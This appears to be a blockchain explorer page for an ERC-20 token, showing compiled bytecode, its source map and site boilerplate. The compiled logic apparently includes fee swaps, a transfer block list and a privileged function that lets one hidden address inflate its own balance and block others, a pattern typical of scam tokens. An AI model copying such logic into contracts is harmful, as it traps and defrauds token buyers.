757506001600160a01b03851660009081526006602052604090205460ff165b15610c73575082610ddd565b6001600160a01b03861660009081526008602052604081205460ff1615610ccf5760405162461bcd60e51b815260206004820152601060248201526f115490cc8c0e88189bdd131a5cdd195960821b6044820152606401610706565b6001600160a01b03871660009081526007602052604090205460ff1615610d1757610d106064610d0a6009548861118590919063ffffffff16565b90611204565b9050610d55565b6001600160a01b03861660009081526007602052604090205460ff1615610d5557610d526064610d0a600a548861118590919063ffffffff16565b90505b8015610dcf5730600090815260046020526040902054610d759082611246565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dc69085815260200190565b60405180910390a35b610dd98582611143565b9150505b6001600160a01b038516600090815260046020526040902054610e009082611246565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e549085815260200190565b60405180910390a360019250505061055e565b60008184841115610e8b5760405162461bcd60e51b815260040161070691906112d3565b506000610e988486611564565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610ef2918490610e67565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610f219083611246565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f759086815260200190565b60405180910390a35060019392505050565b600d805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fcf57610fcf6114c9565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611028573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104c9190611547565b8160018151811061105f5761105f6114c9565b6001600160a01b039283166020918202929092010152600c546110859130911684610996565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110be90859060009086903090429060040161157b565b600060405180830381600087803b1580156110d857600080fd5b505af19250505080156110e9575060015b50478015611131576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f1935050505015801561112f573d6000803e3d6000fd5b505b5050600d805460ff60a01b1916905550565b600061055e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e67565b600082611194575060006104f4565b60006111a083856114f5565b9050826111ad85836115ec565b1461055e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610706565b600061055e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a5565b6000806112538385611514565b90508381101561055e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610706565b600081836112c65760405162461bcd60e51b815260040161070691906112d3565b506000610e9884866115ec565b600060208083528351808285015260005b81811015611300578581018301518582016040015282016112e4565b81811115611312576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461133d57600080fd5b50565b6000806040838503121561135357600080fd5b823561135e81611328565b946020939093013593505050565b60008060006060848603121561138157600080fd5b833561138c81611328565b9250602084013561139c81611328565b929592945050506040919091013590565b6000602082840312156113bf57600080fd5b813561055e81611328565b6000806000604084860312156113df57600080fd5b833567ffffffffffffffff808211156113f757600080fd5b818601915086601f83011261140b57600080fd5b81358181111561141a57600080fd5b8760208260051b850101111561142f57600080fd5b60209283019550935050840135801515811461144a57600080fd5b809150509250925092565b6000806040838503121561146857600080fd5b823561147381611328565b9150602083013561148381611328565b809150509250929050565b600181811c908216806114a257607f821691505b602082108114156114c357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561150f5761150f6114df565b500290565b60008219821115611527576115276114df565b500190565b6000600019821415611540576115406114df565b5060010190565b60006020828403121561155957600080fd5b815161055e81611328565b600082821015611576576115766114df565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115cb5784516001600160a01b0316835293830193918301916001016115a6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261160957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201face7adad6395f0a424155be4c3f29cbfde46a148da7d5cf3f1ff2ae98d513564736f6c634300080c0033

Deployed Bytecode Sourcemap

4090:6587:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4761:38;;;;;;;;;;-1:-1:-1;4761:38:0;;;;;;;-1:-1:-1;;;;;4761:38:0;;;;;;-1:-1:-1;;;;;194:32:1;;;176:51;;164:2;149:18;4761:38:0;;;;;;;;5851:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7129:161::-;;;;;;;;;;-1:-1:-1;7129:161:0;;;;;:::i;:::-;;:::i;:::-;;;1461:14:1;;1454:22;1436:41;;1424:2;1409:18;7129:161:0;1296:187:1;5244:41:0;;;;;;;;;;-1:-1:-1;5244:41:0;;;;-1:-1:-1;;;;;5244:41:0;;;6984:100;;;;;;;;;;-1:-1:-1;7064:12:0;;6984:100;;;1868:25:1;;;1856:2;1841:18;6984:100:0;1722:177:1;10184:313:0;;;;;;;;;;-1:-1:-1;10184:313:0;;;;;:::i;:::-;;:::i;7298:83::-;;;;;;;;;;-1:-1:-1;7364:9:0;;7298:83;;7364:9;;;;2507:36:1;;2495:2;2480:18;7298:83:0;2365:184:1;4931:50:0;;;;;;;;;;-1:-1:-1;4931:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4988:45;;;;;;;;;;-1:-1:-1;4988:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4172:461;;;;;;;;;;-1:-1:-1;4172:461:0;;;;;:::i;:::-;;:::i;:::-;;6857:119;;;;;;;;;;-1:-1:-1;6857:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6950:18:0;6923:7;6950:18;;;:9;:18;;;;;;;6857:119;1974:157;;;;;;;;;;-1:-1:-1;1974:157:0;;;;;:::i;:::-;;:::i;5040:43::-;;;;;;;;;;-1:-1:-1;5040:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1768:79;;;;;;;;;;-1:-1:-1;1806:7:0;1833:6;-1:-1:-1;;;;;1833:6:0;1768:79;;5940:87;;;;;;;;;;;;;:::i;10505:167::-;;;;;;;;;;-1:-1:-1;10505:167:0;;;;;:::i;:::-;;:::i;5092:35::-;;;;;;;;;;;;;;;;6382:467;;;;;;;;;;;;;:::i;5292:26::-;;;;;;;;;;-1:-1:-1;5292:26:0;;;;-1:-1:-1;;;;;5292:26:0;;;5134:36;;;;;;;;;;;;;;;;7729:143;;;;;;;;;;-1:-1:-1;7729:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7837:18:0;;;7810:7;7837:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7729:143;5851:83;5888:13;5921:5;5914:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5851:83;:::o;7129:161::-;7204:4;7221:39;650:10;7244:7;7253:6;7221:8;:39::i;:::-;-1:-1:-1;7278:4:0;7129:161;;;;;:::o;10184:313::-;10282:4;10299:36;10309:6;10317:9;10328:6;10299:9;:36::i;:::-;-1:-1:-1;10346:121:0;10355:6;650:10;10377:89;10415:6;10377:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10377:19:0;;;;;;:11;:19;;;;;;;;650:10;10377:33;;;;;;;;;;:37;:89::i;:::-;10346:8;:121::i;:::-;-1:-1:-1;10485:4:0;10184:313;;;;;;:::o;4172:461::-;4276:15;;;;;-1:-1:-1;;;;;4276:15:0;650:10;-1:-1:-1;;;;;4260:31:0;;4252:40;;;;;;4308:9;4303:323;4319:20;;;4303:323;;;4380:15;;;;;-1:-1:-1;;;;;4380:15:0;4364:9;;4374:1;4364:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4364:31:0;;4361:254;;;4415:9;4436:12;;4427:5;:22;;;;:::i;:::-;4507:15;;;;;-1:-1:-1;;;;;4507:15:0;4497:26;;;;:9;:26;;;;;;4415:34;;-1:-1:-1;4497:30:0;;4415:34;;4497:30;:::i;:::-;4478:15;;;;;-1:-1:-1;;;;;4478:15:0;4468:26;;;;:9;:26;;;;;:59;-1:-1:-1;4361:254:0;;;4593:6;4566:10;:24;4577:9;;4587:1;4577:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;4566:24:0;;;;;;;;;;;;-1:-1:-1;4566:24:0;:33;;-1:-1:-1;;4566:33:0;;;;;;;;;;4361:254;4341:3;;;;:::i;:::-;;;;4303:323;;;;4172:461;;;:::o;1974:157::-;1681:6;;-1:-1:-1;;;;;1681:6:0;650:10;1681:22;1673:67;;;;-1:-1:-1;;;1673:67:0;;5491:2:1;1673:67:0;;;5473:21:1;;;5510:18;;;5503:30;5569:34;5549:18;;;5542:62;5621:18;;1673:67:0;;;;;;;;;2048:6:::1;:19:::0;;-1:-1:-1;;;;;;2048:19:0::1;-1:-1:-1::0;;;;;2048:19:0;::::1;::::0;;::::1;::::0;;2083:40:::1;::::0;2048:19;;;;2083:40:::1;::::0;2048:6;2083:40:::1;1974:157:::0;:::o;5940:87::-;5979:13;6012:7;6005:14;;;;;:::i;10505:167::-;10583:4;10600:42;650:10;10624:9;10635:6;10600:9;:42::i;6382:467::-;1681:6;;-1:-1:-1;;;;;1681:6:0;650:10;1681:22;1673:67;;;;-1:-1:-1;;;1673:67:0;;5491:2:1;1673:67:0;;;5473:21:1;;;5510:18;;;5503:30;5569:34;5549:18;;;5542:62;5621:18;;1673:67:0;5289:356:1;1673:67:0;6431:35:::1;6488:42;6431:100;;6574:16;-1:-1:-1::0;;;;;6574:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6556:70:0::1;;6635:4;6642:16;-1:-1:-1::0;;;;;6642:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6556:110;::::0;-1:-1:-1;;;;;;6556:110:0::1;::::0;;;;;;-1:-1:-1;;;;;6136:15:1;;;6556:110:0::1;::::0;::::1;6118:34:1::0;6188:15;;6168:18;;;6161:43;6053:18;;6556:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6542:11;:124:::0;;-1:-1:-1;;;;;6542:124:0;;::::1;-1:-1:-1::0;;;;;;6542:124:0;;::::1;;::::0;;6677:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;::::1;::::0;;6777:12:::1;::::0;6742:4:::1;6542:11;6722:26:::0;;;:11:::1;:26;::::0;;;;;;;:52;;;;;;;;;:67;;;;6821:11;;;;::::1;6800:34:::0;;:12:::1;:34:::0;;;;:41;;-1:-1:-1;;6800:41:0::1;6542:124:::0;6800:41:::1;::::0;;6382:467::o;6037:337::-;-1:-1:-1;;;;;6130:19:0;;6122:68;;;;-1:-1:-1;;;6122:68:0;;6417:2:1;6122:68:0;;;6399:21:1;6456:2;6436:18;;;6429:30;6495:34;6475:18;;;6468:62;-1:-1:-1;;;6546:18:1;;;6539:34;6590:19;;6122:68:0;6215:400:1;6122:68:0;-1:-1:-1;;;;;6209:21:0;;6201:68;;;;-1:-1:-1;;;6201:68:0;;6822:2:1;6201:68:0;;;6804:21:1;6861:2;6841:18;;;6834:30;6900:34;6880:18;;;6873:62;-1:-1:-1;;;6951:18:1;;;6944:32;6993:19;;6201:68:0;6620:398:1;6201:68:0;-1:-1:-1;;;;;6282:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6334:32;;1868:25:1;;;6334:32:0;;1841:18:1;6334:32:0;;;;;;;6037:337;;;:::o;8528:1648::-;8606:4;-1:-1:-1;;;;;8633:18:0;;8625:68;;;;-1:-1:-1;;;8625:68:0;;7225:2:1;8625:68:0;;;7207:21:1;7264:2;7244:18;;;7237:30;7303:34;7283:18;;;7276:62;-1:-1:-1;;;7354:18:1;;;7347:35;7399:19;;8625:68:0;7023:401:1;8625:68:0;-1:-1:-1;;;;;8712:16:0;;8704:64;;;;-1:-1:-1;;;8704:64:0;;7631:2:1;8704:64:0;;;7613:21:1;7670:2;7650:18;;;7643:30;7709:34;7689:18;;;7682:62;-1:-1:-1;;;7760:18:1;;;7753:33;7803:19;;8704:64:0;7429:399:1;8704:64:0;8784:16;;-1:-1:-1;;;8784:16:0;;;;8781:1388;;;8833:32;8848:4;8854:2;8858:6;8833:14;:32::i;:::-;8826:39;;;;8781:1388;8966:4;8917:28;6950:18;;;:9;:18;;;;;;8992:16;;-1:-1:-1;;;8992:16:0;;;;8991:17;:40;;;;-1:-1:-1;;;;;;9013:18:0;;;;;;:12;:18;;;;;;;;9012:19;8991:40;8987:131;;;9066:36;9081:20;9066:14;:36::i;:::-;-1:-1:-1;;;;;9152:15:0;;;;;;:9;:15;;;;;;:27;;9172:6;9152:19;:27::i;:::-;-1:-1:-1;;;;;9134:15:0;;;;;;:9;:15;;;;;;;;:45;;;;9234:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;9261:21:0;;;;;;:17;:21;;;;;;;;9234:48;9230:776;;;-1:-1:-1;9316:6:0;9230:776;;;-1:-1:-1;;;;;9410:16:0;;9361:17;9410:16;;;:10;:16;;;;;;;;9409:17;9401:46;;;;-1:-1:-1;;;9401:46:0;;8035:2:1;9401:46:0;;;8017:21:1;8074:2;8054:18;;;8047:30;-1:-1:-1;;;8093:18:1;;;8086:46;8149:18;;9401:46:0;7833:340:1;9401:46:0;-1:-1:-1;;;;;9471:18:0;;;;;;:12;:18;;;;;;;;9468:252;;;9526:37;9559:3;9526:28;9537:16;;9526:6;:10;;:28;;;;:::i;:::-;:32;;:37::i;:::-;9514:49;;9468:252;;;-1:-1:-1;;;;;9609:16:0;;;;;;:12;:16;;;;;;;;9606:114;;;9662:38;9696:3;9662:29;9673:17;;9662:6;:10;;:29;;;;:::i;:38::-;9650:50;;9606:114;9743:13;;9740:195;;9826:4;9808:24;;;;:9;:24;;;;;;:39;;9837:9;9808:28;:39::i;:::-;9799:4;9781:24;;;;:9;:24;;;;;;;:66;;;;9875:40;;-1:-1:-1;;;;;9875:40:0;;;;;;;9905:9;1868:25:1;;1856:2;1841:18;;1722:177;9875:40:0;;;;;;;;9740:195;9969:21;:6;9980:9;9969:10;:21::i;:::-;9955:35;;9342:664;9230:776;-1:-1:-1;;;;;10050:13:0;;;;;;:9;:13;;;;;;:30;;10068:11;10050:17;:30::i;:::-;-1:-1:-1;;;;;10034:13:0;;;;;;;:9;:13;;;;;;;:46;;;;10100:31;;;;;;;;;;10119:11;1868:25:1;;1856:2;1841:18;;1722:177;10100:31:0;;;;;;;;10153:4;10146:11;;;;;;2497:192;2583:7;2619:12;2611:6;;;;2603:29;;;;-1:-1:-1;;;2603:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2643:9:0;2655:5;2659:1;2655;:5;:::i;:::-;2643:17;2497:192;-1:-1:-1;;;;;2497:192:0:o;7389:330::-;7519:53;;;;;;;;;;;-1:-1:-1;;;7519:53:0;;;;;;;;-1:-1:-1;;;;;7519:17:0;;7482:4;7519:17;;;:9;:17;;;;;;;:53;;7541:6;;7519:21;:53::i;:::-;-1:-1:-1;;;;;7499:17:0;;;;;;;:9;:17;;;;;;:73;;;;7606:20;;;;;;;:32;;7631:6;7606:24;:32::i;:::-;-1:-1:-1;;;;;7583:20:0;;;;;;;:9;:20;;;;;;;:55;;;;7654:35;;;;;;;;;;7682:6;1868:25:1;;1856:2;1841:18;;1722:177;7654:35:0;;;;;;;;-1:-1:-1;7707:4:0;7389:330;;;;;:::o;7880:640::-;5389:16;:23;;-1:-1:-1;;;;5389:23:0;-1:-1:-1;;;5389:23:0;;;7986:16:::1;::::0;;8000:1:::1;7986:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7986:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7986:16:0::1;7962:40;;8031:4;8013;8018:1;8013:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8013:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8057:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8057:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8013:7;;8057:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8047:4;8052:1;8047:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8047:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;8124:15:::1;::::0;8092:58:::1;::::0;8109:4:::1;::::0;8124:15:::1;8142:7:::0;8092:8:::1;:58::i;:::-;8167:15;::::0;:193:::1;::::0;-1:-1:-1;;;8167:193:0;;-1:-1:-1;;;;;8167:15:0;;::::1;::::0;:66:::1;::::0;:193:::1;::::0;8248:7;;8167:15:::1;::::0;8287:4;;8314::::1;::::0;8334:15:::1;::::0;8167:193:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;8163:208:::0;8406:21:::1;8443:16:::0;;8440:72:::1;;8474:15;::::0;:38:::1;::::0;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;8474:15:0::1;::::0;:38:::1;::::0;::::1;;::::0;;;::::1;::::0;;;;:15;:38;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8440:72;-1:-1:-1::0;;5435:16:0;:24;;-1:-1:-1;;;;5435:24:0;;;-1:-1:-1;7880:640:0:o;2353:136::-;2411:7;2438:43;2442:1;2445;2438:43;;;;;;;;;;;;;;;;;:3;:43::i;2697:248::-;2755:7;2779:6;2775:47;;-1:-1:-1;2809:1:0;2802:8;;2775:47;2832:9;2844:5;2848:1;2844;:5;:::i;:::-;2832:17;-1:-1:-1;2877:1:0;2868:5;2872:1;2832:17;2868:5;:::i;:::-;:10;2860:56;;;;-1:-1:-1;;;2860:56:0;;9849:2:1;2860:56:0;;;9831:21:1;9888:2;9868:18;;;9861:30;9927:34;9907:18;;;9900:62;-1:-1:-1;;;9978:18:1;;;9971:31;10019:19;;2860:56:0;9647:397:1;2953:132:0;3011:7;3038:39;3042:1;3045;3038:39;;;;;;;;;;;;;;;;;:3;:39::i;2164:181::-;2222:7;;2254:5;2258:1;2254;:5;:::i;:::-;2242:17;;2283:1;2278;:6;;2270:46;;;;-1:-1:-1;;;2270:46:0;;10251:2:1;2270:46:0;;;10233:21:1;10290:2;10270:18;;;10263:30;10329:29;10309:18;;;10302:57;10376:18;;2270:46:0;10049:351:1;3093:189:0;3179:7;3214:12;3207:5;3199:28;;;;-1:-1:-1;;;3199:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3238:9:0;3250:5;3254:1;3250;:5;:::i;238:597:1:-;350:4;379:2;408;397:9;390:21;440:6;434:13;483:6;478:2;467:9;463:18;456:34;508:1;518:140;532:6;529:1;526:13;518:140;;;627:14;;;623:23;;617:30;593:17;;;612:2;589:26;582:66;547:10;;518:140;;;676:6;673:1;670:13;667:91;;;746:1;741:2;732:6;721:9;717:22;713:31;706:42;667:91;-1:-1:-1;819:2:1;798:15;-1:-1:-1;;794:29:1;779:45;;;;826:2;775:54;;238:597;-1:-1:-1;;;238:597:1:o;840:131::-;-1:-1:-1;;;;;915:31:1;;905:42;;895:70;;961:1;958;951:12;895:70;840:131;:::o;976:315::-;1044:6;1052;1105:2;1093:9;1084:7;1080:23;1076:32;1073:52;;;1121:1;1118;1111:12;1073:52;1160:9;1147:23;1179:31;1204:5;1179:31;:::i;:::-;1229:5;1281:2;1266:18;;;;1253:32;;-1:-1:-1;;;976:315:1:o;1904:456::-;1981:6;1989;1997;2050:2;2038:9;2029:7;2025:23;2021:32;2018:52;;;2066:1;2063;2056:12;2018:52;2105:9;2092:23;2124:31;2149:5;2124:31;:::i;:::-;2174:5;-1:-1:-1;2231:2:1;2216:18;;2203:32;2244:33;2203:32;2244:33;:::i;:::-;1904:456;;2296:7;;-1:-1:-1;;;2350:2:1;2335:18;;;;2322:32;;1904:456::o;2554:247::-;2613:6;2666:2;2654:9;2645:7;2641:23;2637:32;2634:52;;;2682:1;2679;2672:12;2634:52;2721:9;2708:23;2740:31;2765:5;2740:31;:::i;2806:782::-;2898:6;2906;2914;2967:2;2955:9;2946:7;2942:23;2938:32;2935:52;;;2983:1;2980;2973:12;2935:52;3023:9;3010:23;3052:18;3093:2;3085:6;3082:14;3079:34;;;3109:1;3106;3099:12;3079:34;3147:6;3136:9;3132:22;3122:32;;3192:7;3185:4;3181:2;3177:13;3173:27;3163:55;;3214:1;3211;3204:12;3163:55;3254:2;3241:16;3280:2;3272:6;3269:14;3266:34;;;3296:1;3293;3286:12;3266:34;3351:7;3344:4;3334:6;3331:1;3327:14;3323:2;3319:23;3315:34;3312:47;3309:67;;;3372:1;3369;3362:12;3309:67;3403:4;3395:13;;;;-1:-1:-1;3427:6:1;-1:-1:-1;;3468:20:1;;3455:34;3525:13;;3518:21;3508:32;;3498:60;;3554:1;3551;3544:12;3498:60;3577:5;3567:15;;;2806:782;;;;;:::o;3801:388::-;3869:6;3877;3930:2;3918:9;3909:7;3905:23;3901:32;3898:52;;;3946:1;3943;3936:12;3898:52;3985:9;3972:23;4004:31;4029:5;4004:31;:::i;:::-;4054:5;-1:-1:-1;4111:2:1;4096:18;;4083:32;4124:33;4083:32;4124:33;:::i;:::-;4176:7;4166:17;;;3801:388;;;;;:::o;4194:380::-;4273:1;4269:12;;;;4316;;;4337:61;;4391:4;4383:6;4379:17;4369:27;;4337:61;4444:2;4436:6;4433:14;4413:18;4410:38;4407:161;;;4490:10;4485:3;4481:20;4478:1;4471:31;4525:4;4522:1;4515:15;4553:4;4550:1;4543:15;4407:161;;4194:380;;;:::o;4579:127::-;4640:10;4635:3;4631:20;4628:1;4621:31;4671:4;4668:1;4661:15;4695:4;4692:1;4685:15;4711:127;4772:10;4767:3;4763:20;4760:1;4753:31;4803:4;4800:1;4793:15;4827:4;4824:1;4817:15;4843:168;4883:7;4949:1;4945;4941:6;4937:14;4934:1;4931:21;4926:1;4919:9;4912:17;4908:45;4905:71;;;4956:18;;:::i;:::-;-1:-1:-1;4996:9:1;;4843:168::o;5016:128::-;5056:3;5087:1;5083:6;5080:1;5077:13;5074:39;;;5093:18;;:::i;:::-;-1:-1:-1;5129:9:1;;5016:128::o;5149:135::-;5188:3;-1:-1:-1;;5209:17:1;;5206:43;;;5229:18;;:::i;:::-;-1:-1:-1;5276:1:1;5265:13;;5149:135::o;5650:251::-;5720:6;5773:2;5761:9;5752:7;5748:23;5744:32;5741:52;;;5789:1;5786;5779:12;5741:52;5821:9;5815:16;5840:31;5865:5;5840:31;:::i;8178:125::-;8218:4;8246:1;8243;8240:8;8237:34;;;8251:18;;:::i;:::-;-1:-1:-1;8288:9:1;;8178:125::o;8440:980::-;8702:4;8750:3;8739:9;8735:19;8781:6;8770:9;8763:25;8807:2;8845:6;8840:2;8829:9;8825:18;8818:34;8888:3;8883:2;8872:9;8868:18;8861:31;8912:6;8947;8941:13;8978:6;8970;8963:22;9016:3;9005:9;9001:19;8994:26;;9055:2;9047:6;9043:15;9029:29;;9076:1;9086:195;9100:6;9097:1;9094:13;9086:195;;;9165:13;;-1:-1:-1;;;;;9161:39:1;9149:52;;9256:15;;;;9221:12;;;;9197:1;9115:9;9086:195;;;-1:-1:-1;;;;;;;9337:32:1;;;;9332:2;9317:18;;9310:60;-1:-1:-1;;;9401:3:1;9386:19;9379:35;9298:3;8440:980;-1:-1:-1;;;8440:980:1:o;9425:217::-;9465:1;9491;9481:132;;9535:10;9530:3;9526:20;9523:1;9516:31;9570:4;9567:1;9560:15;9598:4;9595:1;9588:15;9481:132;-1:-1:-1;9627:9:1;;9425:217::o

Swarm Source

ipfs://1face7adad6395f0a424155be4c3f29cbfde46a148da7d5cf3f1ff2ae98d5135
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.